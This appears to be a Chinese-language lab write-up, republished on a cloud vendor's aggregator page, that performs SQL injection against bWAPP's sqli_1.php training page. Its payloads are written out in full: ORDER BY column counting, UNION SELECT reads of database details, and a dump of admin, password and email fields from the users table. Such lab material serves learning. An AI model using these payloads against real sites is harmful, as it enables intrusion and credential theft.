SQL注入之bWAPP之sqli_1.php

來源:互聯網
上載者:User

標籤:bWAPP之sqli_1.php

1、測試有沒有注入點,如果有是什麼類型注入,首先在“title=1”後面加個單引號看結果,如:

報錯中含有"%"提示,所以可以確定是搜尋型SQL注入。
2、輸入“title=1%‘and‘%‘=‘”或“title=1%‘or‘%‘=‘”,都未報錯,且“title=1%‘or‘%‘=‘”顯示頁面如下:

接下來開始注入。
3、判斷欄位數:
輸入“title=1%‘order by 7 --+”,頁面返回正常;輸入“title=1%‘order by 8 --+”,頁面返回“Error: Unknown column ‘8‘ in ‘order clause‘”,說明欄位數為7,如:

這裡的注釋符要用“--”而不是“#”,至於原因我也不知道,如果有大牛看到,希望不吝賜教。
4、查詢資料庫名等資訊:
先看下顯示的位置,輸入:“title=1%‘union select 1,2,3,4,5,6,7 --+”,如:

接著輸入“title=1%‘union select 1,database(),version(),4,user(),6,7 --+”查看資料庫名,資料庫版本,當前資料庫使用者,如:

5、查詢表名:
輸入“title=1%‘union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema=‘bwapp‘ --+”,結果

很明顯我們要查看users表。
6、查詢欄位名:
輸入“title=1%‘union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name=‘users‘ --+”,結果如:

users表中的欄位計較多,我們重點關注admin、password、email三個欄位。
7、查詢欄位內容:
輸入“title=1%‘union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,結果如:

就以上這些步驟了,有興趣的可以自己嘗試其他表和其他欄位。

SQL注入之bWAPP之sqli_1.php

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.